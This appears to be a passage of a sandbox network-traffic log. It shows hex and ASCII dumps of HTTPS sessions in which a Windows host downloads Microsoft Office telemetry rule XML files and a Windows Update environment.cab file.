2024-11-18 20:03:58 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-18 20:03:58 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-18 20:03:58 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-18 20:03:58 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-18 20:03:58 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-18 20:03:58 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-18 20:03:58 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-18 20:03:58 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-18 20:03:58 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:03:59 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:03:59 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:03:59 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200359Z-16547b76f7fgfpmjhC1DFWw6ec00000005r000000000ft4q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:03:59 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:03:59 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:03:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:03:59 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200359Z-16547b76f7fkf5v9hC1DFW2y5s000000065g00000000cv5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:03:59 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:03:59 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:03:59 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:03:59 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200359Z-16547b76f7fl5zvnhC1DFWtk9g00000004s00000000077cb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:03:59 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:03:59 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:03:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:03:59 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b15936f7-101e-0079-0a5b-385913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200359Z-1866b5c5fbbb286shC1DFWx97800000002u0000000004adn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:03:59 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:03:59 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:03:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:03:59 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: f39a0a9a-101e-0046-2da4-3791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200359Z-164f84587bf7jb9dhC1DFWkay40000000600000000004d9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:03:59 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:03:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wmzoUWafuNHhfWZ&MD=cVVuztN8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 20:04:00 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: eba4c77f-521d-4edf-bb4f-99eb78a04a3a MS-RequestId: 444d414e-c690-4504-ab4c-d13b2f6a078f MS-CV: /+bYeTpO7k+g2DJb.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 20:03:59 GMT Connection: close Content-Length: 30005
2024-11-18 20:04:00 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-18 20:04:00 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

